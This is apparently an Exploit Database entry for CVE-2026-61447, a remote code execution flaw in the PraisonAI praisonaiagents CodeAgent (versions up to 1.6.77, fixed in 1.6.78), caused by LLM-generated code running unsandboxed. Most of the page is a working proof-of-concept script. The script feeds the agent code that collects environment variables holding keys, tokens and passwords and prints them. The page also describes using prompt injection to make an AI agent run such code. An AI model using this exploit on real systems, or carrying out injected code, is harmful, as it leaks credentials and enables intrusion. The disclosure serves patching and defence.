A critical vulnerability (CVE-2026-61447, CVSS 10.0) in PraisonAI's CodeAgent allows remote code execution via prompt injection, as the `_execute_python()` function executes LLM-generated code without sandboxing or import restrictions. The flaw affects `praisonaiagents` versions up to and including 1.6.77. A fix is implemented in version 1.6.78, to which users must upgrade.
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING PraisonAI praisonaiagents 1.6.77 - Remote Code Execution EDB-ID: 52639 CVE: 2026-61447 EDB Verified: Author: BANYAMER Type: REMOTE Exploit: / Platform: MULTIPLE Date: 2026-08-11 Vulnerable App: #!/usr/bin/env python3 # Exploit Title: PraisonAI CodeAgent 1.6.77 - Remote Code Execution # CVE: CVE-2026-61447 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://github.com/MervinPraison/PraisonAI # Software Link: https://pypi.org/project/praisonaiagents/ # Affected: praisonaiagents <= 1.6.77 # Tested on: praisonaiagents 1.6.77 # Category: Remote Code Execution # Platform: Linux / Windows / macOS # Exploit Type: Python Script # CVSS: 10.0 (Critical) # Description: The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection. # Fixed in: praisonaiagents >= 1.6.78 # Usage: # python3 exploit.py # # Examples: # python3 exploit.py # # Options: # -- # # Notes: # • Requires the vulnerable praisonaiagents package installed. # • Demonstrates direct RCE and secret leakage. # # How to Use # # Step 1: # pip install praisonaiagents==1.6.77 # # Step 2: # python3 exploit.py def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) banner() from praisonaiagents.agent.code_agent import CodeAgent import json agent = CodeAgent(name="poc-agent") malicious_code = """ import os import json secrets = {k: v for k, v in os.environ.items() if any(keyword in k.upper() for keyword in ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])} print("=== EXFILTRATED SECRETS ===") print(json.dumps(secrets, indent=2)) """ print("Executing malicious LLM-generated code...") result = agent.execute(malicious_code) print("\n=== Execution Result ===") print("STDOUT:", result.get('stdout', '')) print("STDERR:", result.get('stderr', '')) print("Return Code:", result.get('returncode', '')) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.